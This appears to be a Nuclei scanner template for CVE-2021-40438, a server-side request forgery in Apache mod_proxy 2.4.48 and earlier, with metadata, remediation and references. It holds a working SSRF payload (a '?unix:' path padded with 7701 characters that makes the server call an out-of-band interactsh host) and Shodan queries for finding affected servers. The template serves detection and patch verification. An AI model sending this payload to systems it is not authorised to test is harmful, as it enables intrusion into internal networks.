2021-10-14 19:59:52 +00:00
id : CVE-2021-40438
info :
2024-03-08 09:36:10 +00:00
name : Apache <= 2.4.48 Mod_Proxy - Server-Side Request Forgery
2021-10-14 19:59:52 +00:00
author : pdteam
severity : critical
2022-04-25 14:35:07 +00:00
description : Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
2023-09-06 12:09:01 +00:00
remediation : Upgrade to Apache version 2.4.49 or later.
2021-10-14 19:59:52 +00:00
reference :
- https://firzen.de/building-a-poc-for-cve-2021-40438
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-40438
2023-04-12 10:55:48 +00:00
- https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf
2023-07-11 19:49:27 +00:00
- https://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E
2021-10-14 20:34:25 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
2022-05-17 09:18:12 +00:00
cvss-score : 9
2021-10-14 20:34:25 +00:00
cve-id : CVE-2021-40438
cwe-id : CWE-918
2024-05-31 19:23:20 +00:00
epss-score : 0.97446
epss-percentile : 0.99948
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
2024-03-08 09:36:10 +00:00
verified : true
2024-03-23 09:28:19 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : apache
product : http_server
2024-06-07 10:04:29 +00:00
shodan-query :
- cpe:"cpe:2.3:a:apache:http_server"
- apache 2.4.49
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,ssrf,apache,mod-proxy,kev
2021-10-14 19:59:52 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-10-14 19:59:52 +00:00
- method : GET
path :
2024-03-08 05:45:43 +00:00
- '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}/'
2021-10-14 19:59:52 +00:00
2022-10-07 21:27:25 +00:00
host-redirects : true
2021-10-14 19:59:52 +00:00
max-redirects : 2
2024-03-08 05:45:43 +00:00
2021-10-14 19:59:52 +00:00
matchers :
2024-01-02 06:56:53 +00:00
- type : dsl
dsl :
2024-03-08 09:36:10 +00:00
- 'contains_all(header, "X-Interactsh-Version", "Server: oast")'
- "!contains(body, '<h1> Interactsh Server </h1>')"
condition : and
2024-06-08 16:02:17 +00:00
# digest: 490a00463044022012b2d2cc162a3ba9d6713a4ce4087a900e4b57689a0db634d050d4bb356f5957022068daa63c465b5791d98d139d49fec572590d775ac144a63277c51b8a6688794a:922c64590222798bb761d5b6d8e72950